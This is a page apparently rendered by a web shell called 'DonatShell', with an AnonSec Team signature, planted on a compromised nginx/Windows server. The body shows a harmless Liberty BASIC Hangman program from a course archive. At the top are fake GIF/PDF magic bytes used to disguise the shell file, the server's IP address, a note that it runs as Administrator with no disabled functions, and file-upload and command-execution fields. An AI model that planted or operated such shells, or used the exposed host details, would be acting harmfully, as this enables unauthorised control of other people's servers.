GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2008.03.27/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2008.03.27/Hangman_3.bas
' Hangman.bas
' A program that plays the game Hangman

debug = 0

gosub [InitializeProgram]

' For testing purposes - set the letterCount and wordToFind$
' Then skip the random selection
letterCount = 7
wordToFind$ = "strides"
'goto [skip]

' Ask if they want to play
print "Do you want to play hangman? ";
if answerYesNo$() = "no" then end

[PlayAgain]
' Get the difficulty level from the user
letterCount = 0
while letterCount <> 7 and letterCount <> 10
    Input "Select difficulty level 7 or 10: ";letterCount
wend
'print "letterCount=";letterCount

' Get the random word for the game
wordToFind$=getWord$(letterCount)

[skip] ' Then skip the random selection
if debug = 1 then print "wordToFind$=";wordToFind$
if debug = 1 then print

' Initialize game variables
' GuessesLeft stores how many guesses remain for the user
GuessesLeft = MaxHangmanParts ' Set to Max guesses
' WonGame stores if the game was won.
' true = game won, false = game lost
WonGame = false ' Set to false (game lost) for now
' wordGuessed$ stores the letters in the word that have
'  been correctly guessed so far
wordGuessed$ = repeat$("-",letterCount) ' Setup blank wordGuessed$
' LettersGuessed$ stores the letters that have been guessed.
LettersGuessed$ = space$(26) ' Setup blank LettersGuessed$
' LettersToGuess$ stores the letters than have not been used
LettersToGuess$ = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" ' Setup LettersToGuess$

' Play the game
while GuessesLeft > 0 AND WonGame = false
    guess$ = "" ' Set letter guessed to blank
    ' LetterFoundAt stores if a letter is found at a location
    '  in the wordToFind$
    dim LetterFoundAt(letterCount) ' Dimension and set to 0
    ' Get the guess from the player
    print
    print "      Guesses left: ";GuessesLeft
    print "   Word as guessed: ";wordGuessed$
    print "     You have used: ";LettersGuessed$
    print "Please select from: ";LettersToGuess$
    while upper$(guess$) < "A" OR upper$(guess$) > "Z" OR len(guess$) <> 1
        input "  Enter your guess: ";guess$
    wend
    if debug = 1 then print "Your guess was ";upper$(guess$)
    ' Search for the guess$
    ' guessIsCorrect stores if the guess was found in wordToFind$
    ' Fix LettersToGuess$ and LettersGuessed$ for guess
    ' Fix LettersToGuess$ and LettersGuessed$ for guess
    letterFoundAt = instr(LettersToGuess$,upper$(guess$),1)
    if letterFoundAt <> 0 then
        ' Replace letter with an underscore
        LettersToGuess$ = mid$(LettersToGuess$,1,letterFoundAt-1) + _
                          "_" + _
                          mid$(LettersToGuess$,letterFoundAt+1)
        ' Insert guess
        LettersGuessed$ = mid$(LettersGuessed$,1,letterFoundAt-1) + _
                          upper$(guess$) + _
                          mid$(LettersGuessed$,letterFoundAt+1)
        ' If guess in word insert letter into wordGuessed$
        letterFoundAt = instr(upper$(wordToFind$),upper$(guess$),1)
        foundLetterHowManyTimes = 0 ' Track how many time we found the letter
        while letterFoundAt <> 0
        ' Letter found so insert letter
        wordGuessed$ = mid$(wordGuessed$,1,letterFoundAt-1) + _
                   upper$(guess$) + _
                   mid$(wordGuessed$,letterFoundAt+1)
        foundLetterHowManyTimes = foundLetterHowManyTimes + 1
        letterFoundAt = instr(upper$(wordToFind$),upper$(guess$),letterFoundAt+1)
        wend
        ' If incorrect guess. Subrract 1 from GuessesLeft
        if foundLetterHowManyTimes = 0 then GuessesLeft = GuessesLeft - 1
    else
        ' Guessed letter already guessed. Subrract 1 from GuessesLeft
        GuessesLeft = GuessesLeft - 1
    end if


    if debug = 1 then print "wordGuessed$=";wordGuessed$ 'DEBUG OUTPUT
    ' Test if the word has been guessed
    if wordGuessed$ = upper$(wordToFind$) then WonGame = true
wend

print
if WonGame = true then
    ' If WonGame is true then you have won the game
    print "You won!"
else
    ' Otherwise you lost
    print "You lost :("
end if
print "The word was ";wordToFind$;"."

print
print "Do you want to play again? ";
if answerYesNo$() = "yes" then goto [PlayAgain]

print
print "Thank you for playing."
print

end

[InitializeProgram]
' Initialize the program data

' Word length data
MaxLettersInWord = 29

' Initialize variables
true = 1
false = 0

' Hangman parts data
MaxHangmanParts = 7 ' The number of Hangman parts
dim HangmanParts$(MaxHangmanParts) ' The Hangman part name
' Read the Hangman part names
for i = 1 to MaxHangmanParts
    read HangmanPart$
    HangmanParts$(i) = HangmanPart$
    'print HangmanParts$(i)
next i
data "head","torso","left arm","right arm","left leg","right leg","hangman"

return ' Return for gosub call

'function getWord$(letterCount)
'Gets a random word of the length letterCount for use in the game
function getWord$(letterCount)
    filename$ = str$(letterCount)+".txt"
    select case letterCount
        case 4
            open filename$ FOR RANDOM AS #1 LEN=5
            FIELD #1,_     ' set up the fields for file opened as #1
            4 AS word$,_ ' The record number
            1 AS delimeter$
        case 5
            open filename$ FOR RANDOM AS #1 LEN=6
            FIELD #1,_     ' set up the fields for file opened as #1
            5 AS word$,_ ' The record number
            1 AS delimeter$
        case 6
            open filename$ FOR RANDOM AS #1 LEN=7
            FIELD #1,_     ' set up the fields for file opened as #1
            6 AS word$,_ ' The record number
            1 AS delimeter$
        case 7
            open filename$ FOR RANDOM AS #1 LEN=8
            FIELD #1,_     ' set up the fields for file opened as #1
            7 AS word$,_ ' The record number
            1 AS delimeter$
        case 8
            open filename$ FOR RANDOM AS #1 LEN=9
            FIELD #1,_     ' set up the fields for file opened as #1
            8 AS word$,_ ' The record number
            1 AS delimeter$
        case 9
            open filename$ FOR RANDOM AS #1 LEN=10
            FIELD #1,_     ' set up the fields for file opened as #1
            9 AS word$,_ ' The record number
            1 AS delimeter$
        case 10
            open filename$ FOR RANDOM AS #1 LEN=11
            FIELD #1,_     ' set up the fields for file opened as #1
            10 AS word$,_ ' The record number
            1 AS delimeter$
        case 11
            open filename$ FOR RANDOM AS #1 LEN=12
            FIELD #1,_     ' set up the fields for file opened as #1
            11 AS word$,_ ' The record number
            1 AS delimeter$
        case 12
            open filename$ FOR RANDOM AS #1 LEN=13
            FIELD #1,_     ' set up the fields for file opened as #1
            12 AS word$,_ ' The record number
            1 AS delimeter$
        case 13
            open filename$ FOR RANDOM AS #1 LEN=14
            FIELD #1,_     ' set up the fields for file opened as #1
            13 AS word$,_ ' The record number
            1 AS delimeter$
        case 14
            open filename$ FOR RANDOM AS #1 LEN=15
            FIELD #1,_     ' set up the fields for file opened as #1
            14 AS word$,_ ' The record number
            1 AS delimeter$
        case 15
            open filename$ FOR RANDOM AS #1 LEN=16
            FIELD #1,_     ' set up the fields for file opened as #1
            15 AS word$,_ ' The record number
            1 AS delimeter$
        case 16
            open filename$ FOR RANDOM AS #1 LEN=17
            FIELD #1,_     ' set up the fields for file opened as #1
            16 AS word$,_ ' The record number
            1 AS delimeter$
        case 17
            open filename$ FOR RANDOM AS #1 LEN=18
            FIELD #1,_     ' set up the fields for file opened as #1
            17 AS word$,_ ' The record number
            1 AS delimeter$
        case 18
            open filename$ FOR RANDOM AS #1 LEN=19
            FIELD #1,_     ' set up the fields for file opened as #1
            18 AS word$,_ ' The record number
            1 AS delimeter$
        case 19
            open filename$ FOR RANDOM AS #1 LEN=20
            FIELD #1,_     ' set up the fields for file opened as #1
            19 AS word$,_ ' The record number
            1 AS delimeter$
        case 20
            open filename$ FOR RANDOM AS #1 LEN=21
            FIELD #1,_     ' set up the fields for file opened as #1
            20 AS word$,_ ' The record number
            1 AS delimeter$
        case 21
            open filename$ FOR RANDOM AS #1 LEN=22
            FIELD #1,_     ' set up the fields for file opened as #1
            21 AS word$,_ ' The record number
            1 AS delimeter$
        case 22
            open filename$ FOR RANDOM AS #1 LEN=23
            FIELD #1,_     ' set up the fields for file opened as #1
            22 AS word$,_ ' The record number
            1 AS delimeter$
        case 23
            open filename$ FOR RANDOM AS #1 LEN=24
            FIELD #1,_     ' set up the fields for file opened as #1
            23 AS word$,_ ' The record number
            1 AS delimeter$
        case 24
            open filename$ FOR RANDOM AS #1 LEN=25
            FIELD #1,_     ' set up the fields for file opened as #1
            24 AS word$,_ ' The record number
            1 AS delimeter$
        case 25
            open filename$ FOR RANDOM AS #1 LEN=26
            FIELD #1,_     ' set up the fields for file opened as #1
            25 AS word$,_ ' The record number
            1 AS delimeter$
        case 26
            open filename$ FOR RANDOM AS #1 LEN=27
            FIELD #1,_     ' set up the fields for file opened as #1
            26 AS word$,_ ' The record number
            1 AS delimeter$
        case 27
            open filename$ FOR RANDOM AS #1 LEN=28
            FIELD #1,_     ' set up the fields for file opened as #1
            27 AS word$,_ ' The record number
            1 AS delimeter$
        case 28
            open filename$ FOR RANDOM AS #1 LEN=29
            FIELD #1,_     ' set up the fields for file opened as #1
            28 AS word$,_ ' The record number
            1 AS delimeter$
        case 29
            open filename$ FOR RANDOM AS #1 LEN=30
            FIELD #1,_     ' set up the fields for file opened as #1
            29 AS word$,_ ' The record number
            1 AS delimeter$ 
    end select
    wordCount = int(lof(#1)/(letterCount+1))
    'print lof(#1),lof(#1)/(letterCount+1), wordCount
    recordToRead = int(rnd(1)*wordCount)+1
    'print "recordToRead=";recordToRead
    get #1,recordToRead
    close #1
    getWord$ = word$
end function

function repeat$(stringToRepeat$,repeatNumber)
    newString$ = ""
    for i = 1 to repeatNumber
        newString$ = newString$ + stringToRepeat$
    next i
    repeat$ = newString$
end function

function answerYesNo$()
    [AskAgain]
    input "";answer$
    if upper$(left$(answer$,1)) = "Y" then  answer$ = "yes"
    if upper$(left$(answer$,1)) = "N" then answer$ = "no"
    if answer$ <> "yes" AND answer$ <> "no" then print "Please answer yes or no: ";
    if answer$ <> "yes" AND answer$ <> "no" then goto [AskAgain]
    answerYesNo$ = answer$
end function



Anon7 - 2022
AnonSec Team